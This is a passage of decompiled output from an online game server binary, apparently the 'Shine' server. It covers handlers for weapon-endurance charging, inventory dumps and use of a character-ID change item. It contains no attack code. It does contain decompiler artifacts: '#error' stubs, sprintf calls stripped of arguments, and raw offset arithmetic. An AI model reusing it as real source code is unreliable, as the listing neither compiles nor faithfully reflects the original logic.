1916))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v29 + 40))( v29, *((_WORD *)v6 + 17), v19, &chargeiteminven, &chargeiteminven); } v32 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, unsigned int, int))(*(_DWORD *)v32 + 36))( v32, *((_WORD *)v6 + 17), (unsigned int)*(_WORD *)(netcmd + 3) >> 10, *(_WORD *)(netcmd + 3) & 0x3FF); v33 = ProtocolPacket::pp_SetPacketLen(&gpp, (int)(v28 + 37)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v33, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", (int)(v28 + 37)) ) { v34 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v34); } v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v35 + 4); goto LABEL_48; } } } } } } } *((_WORD *)v6 + 4) = 6792; } else { *((_WORD *)v6 + 4) = 6791; } } else { *((_WORD *)v6 + 4) = 6790; } v36 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v36, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v37 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v37 + 12))(v37, v4, &gpp); } goto LABEL_48; } if ( (unsigned int)*(_WORD *)(netcmd + 3) >> 10 == 9 ) { v11 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8884))( (char *)v4 + 35536, v8 & 0x3FF); weaponcell = v11; goto LABEL_23; } *((_WORD *)v6 + 4) = 6789; v9 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v9, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } LABEL_20: v51 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_59: __security_check_cookie(v50); } //----- (004D85D0) -------------------------------------------------------- #error "4D85D0: undefined or illegal type '#325' (funcsize=82)" //----- (004D86F0) -------------------------------------------------------- #error "4D86F0: undefined or illegal type '#325' (funcsize=53)" //----- (004D87D0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck(int ack) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"); } //----- (004D8820) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck(void *this, int ack) { void *v2; // edi@1 char *v3; // ebx@1 int v4; // eax@2 int v5; // eax@4 int v6; // ST04_4@5 DebugLogging *v7; // eax@5 DebugLogging *v8; // eax@5 int v9; // ecx@9 int v10; // eax@11 int v11; // ecx@14 char *v12; // eax@15 int v13; // eax@17 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12342; if ( *(_WORD *)(ack + 22) == 6784 ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(ack + 6), 0) ) { v6 = *(_WORD *)(ack + 6); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } if ( (unsigned int)*(_WORD *)(ack + 16) >> 10 == 8 ) { v9 = (int)((char *)v2 + 32168); } else { if ( (unsigned int)*(_WORD *)(ack + 16) >> 10 != 9 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : Invalid location", (unsigned int)*(_WORD *)(ack + 16) >> 10, *(_WORD *)(ack + 16) & 0x3FF); goto LABEL_18; } v9 = (int)((char *)v2 + 35536); } v10 = (**(int (__stdcall ***)(_DWORD))v9)(*(_WORD *)(ack + 16) & 0x3FF); if ( *(_DWORD *)v10 != *(_DWORD *)(ack + 8) || *(_DWORD *)(v10 + 4) != *(_DWORD *)(ack + 12) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : weaponkey wrong", 0); goto LABEL_18; } v11 = *(_DWORD *)(v10 + 112); if ( !v11 ) goto LABEL_18; (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v11 + 140))(v10, *(_DWORD *)(ack + 18)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12342; *((_WORD *)v12 + 4) = 6784; *((_WORD *)v12 + 3) = *(_WORD *)(ack + 16); *(_DWORD *)(v12 + 2) = *(_DWORD *)(ack + 18); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 26); goto LABEL_18; } LABEL_17: v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); goto LABEL_18; } v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 32))(v4, *(_WORD *)(ack + 6)); *((_WORD *)v3 + 4) = *(_WORD *)(ack + 22); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) goto LABEL_17; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10); LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"); } //----- (004D8A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(*((_DWORD *)v1 + 23070) + 10) < (unsigned int)&wholesaver.ws_savestore[1156].esc_abstate.buffer[3240] ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12343; *(_DWORD *)(v2 + 2) = *(_DWORD *)(*((_DWORD *)v1 + 23070) + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"); } //----- (004D8B30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // ecx@2 ZoneBaseSession *v4; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(*((_DWORD *)v1 + 23070) + 10) < (unsigned int)&wholesaver.ws_savestore[1156].esc_abstate.buffer[3240] ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13455; v3 = *((_DWORD *)v1 + 23070); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); *(_DWORD *)(v2 + 10) = *(_DWORD *)(*((_DWORD *)v1 + 23070) + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 14); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"); } //----- (004D8C30) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_InvenWrite(int msg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_InvenWrite"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_InvenWrite"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_InvenWrite"); } //----- (004D8C80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenWrite(void *ecx0, int msg) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@4 unsigned int v5; // ecx@5 int v6; // edx@6 int v7; // esi@7 int v8; // ebp@9 int v9; // edx@12 int v10; // esi@20 ItemDataBox::ItemDataBoxIndex *v11; // eax@21 char *v12; // [sp-4h] [bp-14Ch]@3 FunctionEntarance _; // [sp+10h] [bp-138h]@1 ItemBoxIterItem this; // [sp+14h] [bp-134h]@12 ItemBoxIterItem ibii; // [sp+24h] [bp-124h]@1 int v16; // [sp+34h] [bp-114h]@1 char buffer[128]; // [sp+38h] [bp-110h]@9 char string; // [sp+B8h] [bp-90h]@23 unsigned int v19; // [sp+138h] [bp-10h]@19 int v20; // [sp+144h] [bp-4h]@1 v2 = ecx0; v16 = (int)ecx0; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v2 + 35536); v3 = *((_DWORD *)v2 + 8884); v20 = 0; ibii.baseclass_0.ibi_Limit = (*(int (**)(void))(v3 + 8))(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v20) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v4 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( !v4 || (v5 = *(_WORD *)(v4 + 8), v5 >= dword_125739EC) || (v6 = dword_12574188 + 28 * v5) == 0 || (v7 = *(_DWORD *)v6) == 0 ) goto LABEL_16; if ( !(*(_WORD *)v7 == *(_WORD *)(v4 + 8)) ) { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", *(_WORD *)v7 + 10000 * v5); LABEL_16: ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_17: v20 = -1; v12 = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; goto LABEL_18; } sprintf(buffer, " Inv %3d %I64u %.40s"); v8 = v16; if ( !msg ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v16 + 1836))(v16, buffer); } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = (ItemBag *)(v8 + 32168); v9 = *(_DWORD *)(v8 + 32168); LOBYTE(v20) = 0; this.baseclass_0.ibi_Limit = (*(int (**)(void))(v9 + 8))(); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v20) = 2; this.baseclass_0.ibi_finger = 0; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&this) && !ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_17; } do { v10 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); if ( !v10 ) break; v11 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v10 + 8)); if ( !v11 ) break; if ( !v11->data ) break; sprintf(&string, " Equ %3d %I64u %.40s"); if ( !msg ) (*(void (__thiscall **)(int, char *))(*(_DWORD *)v8 + 1836))(v8, &string); } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v20 = -1; v12 = "ShineObjectClass::ShinePlayer::so_ply_InvenWrite"; LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); } __security_check_cookie(v19); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (004D8F60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 bool v5; // zf@1 char *v6; // ebp@1 int v7; // eax@11 char v8; // al@14 int v9; // eax@15 int v10; // ST28_4@20 signed int v11; // eax@20 int v12; // eax@24 int v13; // eax@27 void *v14; // esi@27 int v15; // edi@29 void *v16; // eax@30 int v17; // eax@31 ItemDataBox::ItemDataBoxIndex *v18; // eax@34 int v19; // eax@36 char v20; // al@42 int v21; // eax@43 void *v22; // eax@44 int v23; // esi@46 __int16 v24; // ax@47 void *v25; // edx@47 __int16 v26; // ax@47 char *v27; // edi@48 int v28; // eax@48 ItemAttributeClass *v29; // ST20_4@49 int v30; // eax@49 int v31; // eax@50 char v32; // al@50 ZoneBaseSession *v33; // eax@51 int v34; // eax@52 int v35; // [sp+20h] [bp-B8h]@22 const char *v36; // [sp+24h] [bp-B4h]@22 int v37; // [sp+28h] [bp-B0h]@22 FunctionEntarance _; // [sp+3Ch] [bp-9Ch]@1 ITEM_INVEN chargeiteminven; // [sp+40h] [bp-98h]@47 int nCharIDChangeItemLot; // [sp+44h] [bp-94h]@40 int pCharIDChangeItemCell; // [sp+48h] [bp-90h]@27 void *idb; // [sp+4Ch] [bp-8Ch]@30 void *iac_charge; // [sp+50h] [bp-88h]@44 int nCharIDChangeItemID; // [sp+54h] [bp-84h]@29 ItemTotalInformation iti; // [sp+58h] [bp-80h]@46 unsigned int v46; // [sp+C8h] [bp-10h]@58 int v47; // [sp+D4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S6_64 & 1) == 0; v6 = gpp.pp_Buffer; v47 = 0; *(_WORD *)gpp.pp_Buffer = -19437; if ( v5 ) { _S6_64 |= 1u; cmc_57.cmc_AllowMode = 70; atexit(_E7_46); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_57.cmc_AllowMode) ) { *((_WORD *)v6 + 1) = 8369; LABEL_9: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6); LABEL_57: --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ"); goto LABEL_58; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_56: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_57; } if ( *((_BYTE *)v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) { *((_WORD *)v6 + 1) = 8369; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_10; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_56; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v6 + 1) = 8370; goto LABEL_9; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { if ( *((_BYTE *)v4 + 69416) & 0xC || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { *((_WORD *)v6 + 1) = 8369; goto LABEL_14; } v10 = *(_BYTE *)(netcmd + 2); v11 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 8884) + 8))((char *)v4 + 35536); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v11, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : wrong slot", v10) ) goto LABEL_21; if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14434) + 4))( (char *)v4 + 57736, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 46075)) ) { *((_WORD *)v6 + 1) = 8372; goto LABEL_22; } v13 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8884))( (char *)v4 + 35536, *(_BYTE *)(netcmd + 2)); v14 = (void *)v13; pCharIDChangeItemCell = v13; if ( v13 ) { v15 = *(_WORD *)(v13 + 8); nCharIDChangeItemID = v15; if ( (_WORD)v15 == -1 || (v16 = ItemDataBox::operator__(&itemdatabox, v15), (idb = v16) == 0) ) { LABEL_21: *((_WORD *)v6 + 1) = 8371; LABEL_22: v37 = 6; v36 = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long"; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 6); goto LABEL_23; } v17 = *(_DWORD *)(*(_DWORD *)v16 + 375); if ( v17 != 4 && v17 != 5 ) { v37 = 6; v36 = "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long"; *((_WORD *)v6 + 1) = 6776; v35 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 6); LABEL_23: if ( !AssertClass::operator__(&shineassert, v35, v36, v37) ) { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } LABEL_53: v47 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_58; } v18 = ItemDataBox::operator__(&itemdatabox, v15); v19 = v18 && v18->data; if ( AssertClass::operator__( &shineassert, v19, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Try to use empty char id change item cell", 0) ) { *((_WORD *)v6 + 1) = 8374; goto LABEL_22; } nCharIDChangeItemLot = (*(int (__stdcall **)(char *))(**((_DWORD **)v14 + 28) + 24))((char *)v14 + 8); if ( !AssertClass::operator__( &shineassert, nCharIDChangeItemLot > 0, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Try to use lot 0 item", 0) ) { v22 = ItemAttributeClassContainer::operator__(&itmattcontainer, v15); iac_charge = v22; if ( v22 ) { if ( nCharIDChangeItemLot > 1 ) { memcpy(&iti, v14, 0x6Cu); v23 = (int)((char *)v14 + 108); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v23; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v23 + 2); (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, int))(*(_DWORD *)v22 + 28))( v22, &iti.iti_itemstruct, nCharIDChangeItemLot - 1); v14 = (void *)pCharIDChangeItemCell; LOWORD(v15) = nCharIDChangeItemID; } chargeiteminven.Inven = *(unsigned __int8 *)(netcmd + 2) | 0x2400; *(_WORD *)gpp.pp_Buffer = -19439; *(_DWORD *)(v6 + 2) = *(_DWORD *)v14; v24 = *((_WORD *)v6 + 5); *(_DWORD *)(v6 + 6) = *((_DWORD *)v14 + 1); v25 = idb; v26 = v24 & 0x3FF | 0x2400; *((_WORD *)v6 + 5) = v26; *((_WORD *)v6 + 5) = v26 ^ (v26 ^ *(_BYTE *)(netcmd + 2)) & 0x3FF; v6[12] = *(_DWORD *)(*(_DWORD *)v25 + 375) != 4; *(_WORD *)(v6 + 13) = v15; *(_DWORD *)(v6 + 15) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *(_WORD *)(v6 + 19) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 21) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v6 + 25) = *(_DWORD *)v14; *(_DWORD *)(v6 + 29) = *((_DWORD *)v14 + 1); *(_WORD *)(v6 + 33) = v15; *(_WORD *)(v6 + 37) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4) + 4); if ( nCharIDChangeItemLot > 1 ) { v29 = (ItemAttributeClass *)iac_charge; v6[39] = 0; *(_WORD *)(v6 + 35) = 38; v27 = (char *)(ItemTotalInformation::iti_fill2buffer_atrib(&iti, v29, v15, v6 + 40) - (v6 + 40)); v30 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ItemTotalInformation *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v30 + 48))( v30, *(_WORD *)(v6 + 37), v14, &iti, &chargeiteminven, &chargeiteminven); } else { v27 = 0; v6[39] = 1; *(_WORD *)(v6 + 35) = 0; v28 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v28 + 40))( v28, *(_WORD *)(v6 + 37), v14, &chargeiteminven, &chargeiteminven); } v31 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, signed int, _DWORD))(*(_DWORD *)v31 + 36))( v31, *(_WORD *)(v6 + 37), 9, *(_BYTE *)(netcmd + 2)); v32 = ProtocolPacket::pp_SetPacketLen(&gpp, (int)(v27 + 40)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v32, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", (int)(v27 + 40)) ) { v33 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v33); } v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v34 + 4); goto LABEL_53; } goto LABEL_21; } *((_WORD *)v6 + 1) = 8373; } else { *((_WORD *)v6 + 1) = 8371; } v20 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v20, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6) ) { v21 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v4, &gpp); } goto LABEL_53; } *((_WORD *)v6 + 1) = 8372; LABEL_14: v8 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v8, "ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ : Packet Too Long", 6) ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } v47 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_58: __security_check_cookie(v46); } //----- (004D9570) -------------------------------------------------------- #error "4D9570: undefined or illegal type '#325' (funcsize=53)" //----- (004D9650) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck(int pAck) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck"); } //----- (004D96A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck(void *this, int pAck) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@2 int v5; // eax@3 int v6; // ST04_4@4 DebugLogging *v7; // eax@4 DebugLogging *v8; // eax@4 char *v9; // eax@5 int v10; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; if ( *(_WORD *)(pAck + 6) == 8368 ) { v5 = (*(int (__thiscall **)(void *))(v3 + 1916))(v2); if ( 